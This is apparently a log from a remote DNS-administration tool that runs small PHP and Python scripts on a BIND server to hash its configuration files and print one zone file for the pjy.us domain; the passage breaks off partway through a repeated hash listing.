YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-08-29 23:21:44: Establishing a remote connection
2025-08-29 23:22:25: Establishing a connection
2025-08-29 23:22:25: 

PUT: /tmp/pkp249186

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-29 23:22:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp249186; rm /tmp/pkp249186'

2025-08-29 23:22:26: 
2025-08-29 23:22:26: 

PUT: /tmp/pkp161600

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-29 23:22:26: 

chmod 755 /tmp/pkp161600; /tmp/pkp161600; rm /tmp/pkp161600

2025-08-29 23:22:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt	2089
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
pjy.us.                  		 IN    SOA      	pjy.us. hostmaster.pjy.us. ( 131299183 14400 3600 14400 3600 )
pjy.us.                  		 IN    NS       	ns1.hostz.org.
pjy.us.                  		 IN    NS       	ns2.hostz.org.
pjy.us.                   60	 IN    A        	94.177.8.99
@                        		 IN    MX       	10 mail.emessage.email.
@                        		 IN    TXT      	"google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge           60	 IN    TXT      	"Oy-hvG1Fk8rOdIOyn_9wg8pOBIQsA-_YvJ1Y6RCIpLQ"
_acme-challenge           60	 IN    TXT      	"fwYKhqdmG7ikjrhH9kqQwlvFyq-i6BopEQs9cb0aT5A"
mail._domainkey           300	 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
city                      300	 IN    A        	10.140.12.86
_acme-challenge.city      60	 IN    TXT      	"UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop                  		 IN    A        	192.168.1.174
_acme-challenge.desktop   60	 IN    TXT      	"l9WeTDaGjg8OuobZhMGe8q_0Jb8jwvfMlSNambIH7bM"
dm                       		 IN    A        	46.102.156.201
eggshell                 		 IN    A        	94.177.8.99
y4it37yvzcuq.eggshell     60	 IN    CNAME    	gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files                    		 IN    A        	74.208.130.81
home                     		 IN    CNAME    	home.stoughton.link.
_acme-challenge.home      60	 IN    TXT      	"1651EwkgGRtzzKalnJLte0iFYKk3QC_eANpELIo4HII"
mysql                    		 IN    CNAME    	home.stoughton.link.
pkp                      		 IN    A        	94.177.8.99
www.pjy.us.               60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-29 23:22:28: Establishing a connection
2025-08-29 23:22:28: 

PUT: /tmp/pkp652964

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-29 23:22:28: 

runuser -l bind -s /bin/bash -c '/tmp/pkp652964; rm /tmp/pkp652964'

2025-08-29 23:22:28: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
